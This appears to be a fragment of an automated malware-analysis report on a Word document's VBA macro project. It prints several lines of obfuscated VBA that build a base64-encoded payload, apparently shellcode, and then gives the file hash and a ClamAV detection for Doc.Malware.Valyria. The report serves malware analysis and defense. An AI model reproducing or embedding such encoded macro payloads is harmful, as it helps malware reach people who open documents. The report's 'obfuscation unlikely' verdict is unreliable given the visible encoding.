zzzzh_b64 = zzzzh_b64 & "UxwESJwUiJhCTQAAAASDuMJNAAAAAP"
zzzzh_b64 = zzzzh_b64 & "hQUAAADpYwMAAEUxyUiLhCTwAAAAxw"
zzzzh_b64 = zzzzh_b64 & "AYAAAASIuEJPAAAADHQBABAAAASIuE"
zzzzh_b64 = zzzzh_b64 & "JAABAABIi4CAAAAATIuEJPAAAABIi4"
zzzzh_b64 = zzzzh_b64 & "wk6AAAAEiBwVgAAABIjZQk2AAAAEiJ"
zzzzh_b64 = zzzzh_b64 & "jCSIAAAASInRSIuUJIgAAAD/0IP4AA"
…
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 124928 bytes
SHA-256: b90453fb3e17a2e4c04e268e8920f377f852e22577a53f6103feb608e7f186d0
Detection
ClamAV: Doc.Malware.Valyria-10023899-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.